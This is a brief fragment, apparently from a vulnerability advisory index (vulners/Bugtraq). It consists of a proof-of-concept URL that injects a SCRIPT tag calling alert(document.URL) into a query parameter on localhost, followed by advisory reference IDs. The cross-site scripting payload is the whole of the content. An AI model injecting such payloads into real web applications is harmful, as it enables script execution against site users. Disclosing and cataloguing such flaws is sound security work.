http://localhost/a?x=<SCRIPT>alert(document.URL)</SCRIPT>
vulners.com/securityvulns/securityvulns:doc:3445
BUGTRAQSECURITYVULNS:VULN:2261BUGTRAQSECURITYVULNS:VULN:2261